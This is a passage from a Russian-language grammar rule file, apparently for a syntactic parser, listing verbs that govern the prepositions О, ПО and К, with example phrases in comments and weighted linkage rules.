rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О)
rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О)
rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О)
rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О)
rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О)
rus_verbs:осведомиться{}, // офицер осведомился о цели визита
rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о)
rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О)
rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о)
rus_verbs:зайти{}, // Разговор зашёл о политике.
rus_verbs:порассказать{}, // порассказать о своих путешествиях
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви
деепричастие:спев{}, прилагательное:спевший{ вид:соверш },
прилагательное:спетый{},
rus_verbs:напеть{},
rus_verbs:разговаривать{}, // разговаривать с другом о жизни
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
//rus_verbs:заботиться{}, // заботиться о престарелых родителях
rus_verbs:раздумывать{}, // раздумывать о новой работе
rus_verbs:договариваться{}, // договариваться о сумме компенсации
rus_verbs:молить{}, // молить о пощаде
rus_verbs:отзываться{}, // отзываться о книге
rus_verbs:подумывать{}, // подумывать о новом подходе
rus_verbs:поговаривать{}, // поговаривать о загадочном звере
rus_verbs:обмолвиться{}, // обмолвиться о проклятии
rus_verbs:условиться{}, // условиться о поддержке
rus_verbs:призадуматься{}, // призадуматься о последствиях
rus_verbs:известить{}, // известить о поступлении
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:напевать{}, // напевать о любви
rus_verbs:помышлять{}, // помышлять о новом деле
rus_verbs:переговорить{}, // переговорить о правилах
rus_verbs:повествовать{}, // повествовать о событиях
rus_verbs:слыхивать{}, // слыхивать о чудище
rus_verbs:потолковать{}, // потолковать о планах
rus_verbs:проговориться{}, // проговориться о планах
rus_verbs:умолчать{}, // умолчать о штрафах
rus_verbs:хлопотать{}, // хлопотать о премии
rus_verbs:уведомить{}, // уведомить о поступлении
rus_verbs:горевать{}, // горевать о потере
rus_verbs:запамятовать{}, // запамятовать о важном мероприятии
rus_verbs:заикнуться{}, // заикнуться о прибавке
rus_verbs:информировать{}, // информировать о событиях
rus_verbs:проболтаться{}, // проболтаться о кладе
rus_verbs:поразмыслить{}, // поразмыслить о судьбе
rus_verbs:заикаться{}, // заикаться о деньгах
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:печься{}, // печься о всеобщем благе
rus_verbs:разглагольствовать{}, // разглагольствовать о правах
rus_verbs:размечтаться{}, // размечтаться о будущем
rus_verbs:лепетать{}, // лепетать о невиновности
rus_verbs:грезить{}, // грезить о большой и чистой любви
rus_verbs:залепетать{}, // залепетать о сокровищах
rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде
rus_verbs:протрубить{}, // протрубить о победе
rus_verbs:извещать{}, // извещать о поступлении
rus_verbs:трубить{}, // трубить о поимке разбойников
rus_verbs:осведомляться{}, // осведомляться о судьбе
rus_verbs:поразмышлять{}, // поразмышлять о неизбежном
rus_verbs:слагать{}, // слагать о подвигах викингов
rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи
rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании
rus_verbs:закидывать{}, // закидывать сообщениями об ошибках
rus_verbs:базарить{}, // пацаны базарили о телках
rus_verbs:балагурить{}, // мужики балагурили о новом председателе
rus_verbs:балакать{}, // мужики балакали о новом председателе
rus_verbs:беспокоиться{}, // Она беспокоится о детях
rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве
rus_verbs:возмечтать{}, // возмечтать о счастливом мире
rus_verbs:вопить{}, // Кто-то вопил о несправедливости
rus_verbs:сказать{}, // сказать что-то новое о ком-то
rus_verbs:знать{}, // знать о ком-то что-то пикантное
rus_verbs:подумать{}, // подумать о чём-то
rus_verbs:думать{}, // думать о чём-то
rus_verbs:узнать{}, // узнать о происшествии
rus_verbs:помнить{}, // помнить о задании
rus_verbs:просить{}, // просить о коде доступа
rus_verbs:забыть{}, // забыть о своих обязанностях
rus_verbs:сообщить{}, // сообщить о заложенной мине
rus_verbs:заявить{}, // заявить о пропаже
rus_verbs:задуматься{}, // задуматься о смерти
rus_verbs:спрашивать{}, // спрашивать о поступлении товара
rus_verbs:догадаться{}, // догадаться о причинах
rus_verbs:договориться{}, // договориться о собеседовании
rus_verbs:мечтать{}, // мечтать о сцене
rus_verbs:поговорить{}, // поговорить о наболевшем
rus_verbs:размышлять{}, // размышлять о насущном
rus_verbs:напоминать{}, // напоминать о себе
rus_verbs:пожалеть{}, // пожалеть о содеянном
rus_verbs:ныть{}, // ныть о прибавке
rus_verbs:сообщать{}, // сообщать о победе
rus_verbs:догадываться{}, // догадываться о первопричине
rus_verbs:поведать{}, // поведать о тайнах
rus_verbs:умолять{}, // умолять о пощаде
rus_verbs:сожалеть{}, // сожалеть о случившемся
rus_verbs:жалеть{}, // жалеть о случившемся
rus_verbs:забывать{}, // забывать о случившемся
rus_verbs:упоминать{}, // упоминать о предках
rus_verbs:позабыть{}, // позабыть о своем обещании
rus_verbs:запеть{}, // запеть о любви
rus_verbs:скорбеть{}, // скорбеть о усопшем
rus_verbs:задумываться{}, // задумываться о смене работы
rus_verbs:позаботиться{}, // позаботиться о престарелых родителях
rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината
rus_verbs:попросить{}, // попросить о замене
rus_verbs:предупредить{}, // предупредить о замене
rus_verbs:предупреждать{}, // предупреждать о замене
rus_verbs:твердить{}, // твердить о замене
rus_verbs:заявлять{}, // заявлять о подлоге
rus_verbs:петь{}, // певица, поющая о лете
rus_verbs:проинформировать{}, // проинформировать о переговорах
rus_verbs:порассказывать{}, // порассказывать о событиях
rus_verbs:послушать{}, // послушать о новинках
rus_verbs:заговорить{}, // заговорить о плате
rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой.
rus_verbs:оставить{}, // Он оставил о себе печальную память.
rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях
rus_verbs:спорить{}, // они спорили о законе
глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия.
глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия.
rus_verbs:прочитать{}, // Я прочитал о тебе
rus_verbs:услышать{}, // Я услышал о нем
rus_verbs:помечтать{}, // Девочки помечтали о принце
rus_verbs:слышать{}, // Мальчик слышал о приведениях
rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке
rus_verbs:грустить{}, // Я грущу о тебе
rus_verbs:осведомить{}, // о последних достижениях науки
rus_verbs:рассказывать{}, // Антонио рассказывает о работе
rus_verbs:говорить{}, // говорим о трех больших псах
rus_verbs:идти{} // Вопрос идёт о войне.
}
fact гл_предл
{
if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } }
then return true
}
// Мы поделились впечатлениями о выставке.
// ^^^^^^^^^^ ^^^^^^^^^^
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:о{} *:*{} }
then return false,-5
}
#endregion Предлог_О
#region Предлог_ПО
// ------------------- С ПРЕДЛОГОМ 'ПО' ----------------------
// для этих глаголов - запрещаем связывание с ПО+дат.п.
wordentry_set Глаг_ПО_Дат_Запр=
{
rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:закончить{},
rus_verbs:мочь{},
rus_verbs:хотеть{}
}
fact гл_предл
{
if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } }
then return false,-10
}
// По умолчанию разрешаем связывание в паттернах типа
// Я иду по шоссе
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:дат } }
then return true
}
wordentry_set Глаг_ПО_Вин=
{
rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ)
rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО)
rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера
rus_verbs:засадить{}, // засадить по рукоятку
rus_verbs:увязнуть{} // увязнуть по колено
}
fact гл_предл
{
if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:вин } }
then return false,-5
}
#endregion Предлог_ПО
#region Предлог_К
// ------------------- С ПРЕДЛОГОМ 'К' ----------------------
wordentry_set Гл_К_Дат={
rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна.
rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску.
прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ)
rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ)
rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ)
rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ)
rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ)
rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ)
rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ)
rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ)
rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ)
rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, //
rus_verbs:ПРИНОРОВИТЬСЯ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ)
rus_verbs:СПИКИРОВАТЬ{}, //
rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С)
rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ)
rus_verbs:ПРОТЯНУТЬ{}, //
rus_verbs:ТЯНУТЬ{}, //
rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,,
rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, //
rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, //
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, //
rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ)
rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке.
rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ)
rus_verbs:хотеть{},
rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ)
rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ)
rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ)
rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ)
rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ)
rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ)
rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ)
rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ)
rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ)
rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г
rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ)
rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ)
rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К)
rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К)
rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К)
rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К)
rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К)
прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К)
безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К)
rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К)
rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К)
rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К)
rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К)
rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К)
rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К)
rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К)
rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К)
rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К)
rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К)
rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К)
rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К)
rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К)
rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К)
rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К)
rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К)
rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К)
rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К)
rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К)
rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К)
rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К)
rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К)
rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К)
глагол:быть{}, // к тебе есть вопросы.
прилагательное:равнодушный{}, // Он равнодушен к музыке.
rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К)
rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К)
инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К)
rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К)
rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к)
rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К)
rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К)
rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К)
rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К)
rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К)
rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К)
rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К)
rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к)
rus_verbs:просить{}, // Директор просит вас к себе. (просить к)
rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к)
rus_verbs:присесть{}, // старик присел к огню. (присесть к)
rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К)
rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к)
rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к)
rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К)
rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К)
rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К)
rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К)
rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к)
rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К)
rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К)
rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К)
rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К)
rus_verbs:подходить{}, // цвет подходил ей к лицу.
rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К)
rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К)
rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К)
rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К)
rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К)
rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К)
rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к)
rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К)
rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К)
rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к)
rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к)
rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К)
rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К)
rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К)
rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К)
rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к)
rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к)
rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к)
rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К)
rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к)
rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к)
rus_verbs:требовать{}, // вас требует к себе император. (требовать к)
rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к)
rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к)
rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К)
rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К)
rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к)
rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К)
rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К)
rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к)
rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к)
rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к)
rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К)
rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к)
rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к)
rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к)
rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К)
rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К)
rus_verbs:выехать{}, // почти сразу мы выехали к реке.
rus_verbs:пододвигаться{}, // пододвигайся к окну
rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам.
rus_verbs:представить{}, // Его представили к ордену.
rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу.
rus_verbs:выскочить{}, // тем временем они выскочили к реке.
rus_verbs:выйти{}, // тем временем они вышли к лестнице.
rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе.
rus_verbs:приложить{}, // приложить к детали повышенное усилие
rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку)
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю
rus_verbs:прыгать{}, // прыгать к хозяину на стол
rus_verbs:приглашать{}, // приглашать к доктору
rus_verbs:рваться{}, // Чужие люди рвутся к власти
rus_verbs:понестись{}, // понестись к обрыву
rus_verbs:питать{}, // питать привязанность к алкоголю
rus_verbs:заехать{}, // Коля заехал к Оле
rus_verbs:переехать{}, // переехать к родителям
rus_verbs:ползти{}, // ползти к дороге
rus_verbs:сводиться{}, // сводиться к элементарному действию
rus_verbs:добавлять{}, // добавлять к общей сумме
rus_verbs:подбросить{}, // подбросить к потолку
rus_verbs:призывать{}, // призывать к спокойствию
rus_verbs:пробираться{}, // пробираться к партизанам
rus_verbs:отвезти{}, // отвезти к родителям
rus_verbs:применяться{}, // применяться к уравнению
rus_verbs:сходиться{}, // сходиться к точному решению
rus_verbs:допускать{}, // допускать к сдаче зачета
rus_verbs:свести{}, // свести к нулю
rus_verbs:придвинуть{}, // придвинуть к мальчику
rus_verbs:подготовить{}, // подготовить к печати
rus_verbs:подобраться{}, // подобраться к оленю
rus_verbs:заторопиться{}, // заторопиться к выходу
rus_verbs:пристать{}, // пристать к берегу
rus_verbs:поманить{}, // поманить к себе
rus_verbs:припасть{}, // припасть к алтарю
rus_verbs:притащить{}, // притащить к себе домой
rus_verbs:прижимать{}, // прижимать к груди
rus_verbs:подсесть{}, // подсесть к симпатичной девочке
rus_verbs:придвинуться{}, // придвинуться к окну
rus_verbs:отпускать{}, // отпускать к другу
rus_verbs:пригнуться{}, // пригнуться к земле
rus_verbs:пристроиться{}, // пристроиться к колонне
rus_verbs:сгрести{}, // сгрести к себе
rus_verbs:удрать{}, // удрать к цыганам
rus_verbs:прибавиться{}, // прибавиться к общей сумме
rus_verbs:присмотреться{}, // присмотреться к покупке
rus_verbs:подкатить{}, // подкатить к трюму
rus_verbs:клонить{}, // клонить ко сну
rus_verbs:проследовать{}, // проследовать к выходу
rus_verbs:пододвинуть{}, // пододвинуть к себе
rus_verbs:применять{}, // применять к сотрудникам
rus_verbs:прильнуть{}, // прильнуть к экранам
rus_verbs:подвинуть{}, // подвинуть к себе
rus_verbs:примчаться{}, // примчаться к папе
rus_verbs:подкрасться{}, // подкрасться к жертве
rus_verbs:привязаться{}, // привязаться к собаке
rus_verbs:забирать{}, // забирать к себе
rus_verbs:прорваться{}, // прорваться к кассе
rus_verbs:прикасаться{}, // прикасаться к коже
rus_verbs:уносить{}, // уносить к себе
rus_verbs:подтянуться{}, // подтянуться к месту
rus_verbs:привозить{}, // привозить к ветеринару
rus_verbs:подползти{}, // подползти к зайцу
rus_verbs:приблизить{}, // приблизить к глазам
rus_verbs:применить{}, // применить к уравнению простое преобразование
rus_verbs:приглядеться{}, // приглядеться к изображению
rus_verbs:приложиться{}, // приложиться к ручке
rus_verbs:приставать{}, // приставать к девчонкам
rus_verbs:запрещаться{}, // запрещаться к показу
rus_verbs:прибегать{}, // прибегать к насилию
rus_verbs:побудить{}, // побудить к действиям
rus_verbs:притягивать{}, // притягивать к себе
rus_verbs:пристроить{}, // пристроить к полезному делу
rus_verbs:приговорить{}, // приговорить к смерти
rus_verbs:склоняться{}, // склоняться к прекращению разработки
rus_verbs:подъезжать{}, // подъезжать к вокзалу
rus_verbs:привалиться{}, // привалиться к забору
rus_verbs:наклоняться{}, // наклоняться к щенку
rus_verbs:подоспеть{}, // подоспеть к обеду
rus_verbs:прилипнуть{}, // прилипнуть к окну
rus_verbs:приволочь{}, // приволочь к себе
rus_verbs:устремляться{}, // устремляться к вершине
rus_verbs:откатиться{}, // откатиться к исходным позициям
rus_verbs:побуждать{}, // побуждать к действиям
rus_verbs:прискакать{}, // прискакать к кормежке
rus_verbs:присматриваться{}, // присматриваться к новичку
rus_verbs:прижиматься{}, // прижиматься к борту
rus_verbs:жаться{}, // жаться к огню
rus_verbs:передвинуть{}, // передвинуть к окну
rus_verbs:допускаться{}, // допускаться к экзаменам
rus_verbs:прикрепить{}, // прикрепить к корпусу
rus_verbs:отправлять{}, // отправлять к специалистам
rus_verbs:перебежать{}, // перебежать к врагам
rus_verbs:притронуться{}, // притронуться к реликвии
rus_verbs:заспешить{}, // заспешить к семье
rus_verbs:ревновать{}, // ревновать к сопернице
rus_verbs:подступить{}, // подступить к горлу
rus_verbs:уводить{}, // уводить к ветеринару
rus_verbs:побросать{}, // побросать к ногам
rus_verbs:подаваться{}, // подаваться к ужину
rus_verbs:приписывать{}, // приписывать к достижениям
rus_verbs:относить{}, // относить к растениям
rus_verbs:принюхаться{}, // принюхаться к ароматам
rus_verbs:подтащить{}, // подтащить к себе
rus_verbs:прислонить{}, // прислонить к стене
rus_verbs:подплыть{}, // подплыть к бую
rus_verbs:опаздывать{}, // опаздывать к стилисту
rus_verbs:примкнуть{}, // примкнуть к деомнстрантам
rus_verbs:стекаться{}, // стекаются к стенам тюрьмы
rus_verbs:подготовиться{}, // подготовиться к марафону
rus_verbs:приглядываться{}, // приглядываться к новичку
rus_verbs:присоединяться{}, // присоединяться к сообществу
rus_verbs:клониться{}, // клониться ко сну
rus_verbs:привыкать{}, // привыкать к хорошему
rus_verbs:принудить{}, // принудить к миру
rus_verbs:уплыть{}, // уплыть к далекому берегу
rus_verbs:утащить{}, // утащить к детенышам
rus_verbs:приплыть{}, // приплыть к финишу
rus_verbs:подбегать{}, // подбегать к хозяину
rus_verbs:лишаться{}, // лишаться средств к существованию
rus_verbs:приступать{}, // приступать к операции
rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике
rus_verbs:подключить{}, // подключить к трубе
rus_verbs:подключиться{}, // подключиться к сети
rus_verbs:прилить{}, // прилить к лицу
rus_verbs:стучаться{}, // стучаться к соседям
rus_verbs:пристегнуть{}, // пристегнуть к креслу
rus_verbs:присоединить{}, // присоединить к сети
rus_verbs:отбежать{}, // отбежать к противоположной стене
